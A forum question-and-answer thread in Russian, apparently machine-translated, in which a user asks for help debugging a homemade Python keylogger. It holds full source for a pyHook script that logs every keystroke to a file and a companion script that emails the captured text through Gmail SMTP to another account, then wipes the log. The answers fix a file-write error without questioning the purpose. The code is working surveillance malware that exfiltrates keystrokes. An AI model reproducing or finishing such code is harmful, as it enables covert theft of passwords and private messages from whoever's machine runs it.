2015-04-01 2 views
0

Я делаю двухчастный кейлоггер, фактический keylogger.py и файл email.py. Часть отправки по электронной почте не работаетPython электронная почта, ошибка аргумента smtplib

Кода:

import urllib2 
import smtplib 
import time 

def internet_check(): 
    try: 
     response=urllib2.urlopen('http://www.google.com',timeout=10) 
     return True 

    except: 
     return False 

def main(): 
    while len(open('output.txt','r+').read()) < 30 or not internet_check(): 
     pass 

    mail=smtplib.SMTP('smtp.gmail.com:587') 
    mail.starttls() 
    mail.login('sendinguser','pass') 
    mail.sendmail('sendinguser','receivinguser',open('output.txt','r+').read()) 
    mail.quit() 
    open('output.txt','w').write() 
    main() 

try:  #it wont run without this part idk why, it doesnt even give an error,nothing 
    main() #please explain 
except Exception,e:p=input(str(e)) 

После выполнения он работает в первый раз, он ждет 30 символов, а затем отправляет электронную почту и удаляет файл output.txt. Но после этого, когда функция основной() проходит во второй раз, он печатает:

function takes exactly 1 argument (0given) 

И это так. Любая идея почему?

Keylogger код, если это необходимо:

import pyHook 
import pythoncom 
import pywintypes 
import time 
import sys 
import os 

f=open('output.txt','a+') #i know it isn't neat, i'll clean it up later ;) 
f.write('\n'+time.asctime()+'\n') 
f.close() 

def OnKeyboardEvent(event): 
    if event.Ascii==96: 
     os.system("taskkill /im pythonw.exe /f") 
     sys.exit() 

    if event.Ascii==5: 
     _exit(1) 

    if event.Ascii !=0 or 8: 
     f=open('output.txt','r+') 
     buffer=f.read() 
     f.close() 

     f=open('output.txt','w') 
     keylogs=chr(event.Ascii) 
     if event.Ascii==13: 
      keylogs='/n' 

     buffer+=keylogs 
     f.write(buffer) 
     f.close() 

hm=pyHook.HookManager() 
hm.KeyDown=OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

Я уверен, его только первый код, любая помощь будет оценена и спасибо заранее.

+0

Пожалуйста, удалите попытку и, кроме всего 'основной()'. Если вы ничего не делаете, кроме печати исключения, вы не должны обрабатывать его вообще, так как тогда Python будет печатать полную трассировку, которая намного полезнее. –

+0

Вы никогда ничего не пишите с помощью 'open ('output.txt', 'w'). Write()', вы также перезаписываете его с помощью w. –

+0

Я хочу очистить файл с помощью open ('output.txt', 'w'). Write() и его часть, которая фактически работает – dickbuttr

ответ

0

Итак, получается, что write() фактически должен иметь аргумент, он очищается в первый раз только потому, что open ('', 'w') очищает его сам по себе, что то, что мне нужно, Я думал, что ему не нужен аргумент, следовательно, ошибка. Это то же самое с python 2.7, как и с 3.4 Я могу опубликовать сокращенные и очищенные сценарии, если кому-то это понадобится.

0

Я бы рекомендовал обучение по крайней мере, достаточно о питона управления контекстом, что вы предпочли бы использовать «with» следующим образом:

with open (filename, perm) as fp: 
    # some operation on fp, e.g. fp.write(...) 

Это имеет хорошую особенность, что вы можете исключить функцию Close(), и python предоставит его вам.

также: http://en.wikibooks.org/wiki/Python_Programming/Context_Managers

+0

Я знаю, как это сделать, я сказал, что очищу код, и я это сделал, но спасибо – dickbuttr

Смежные вопросы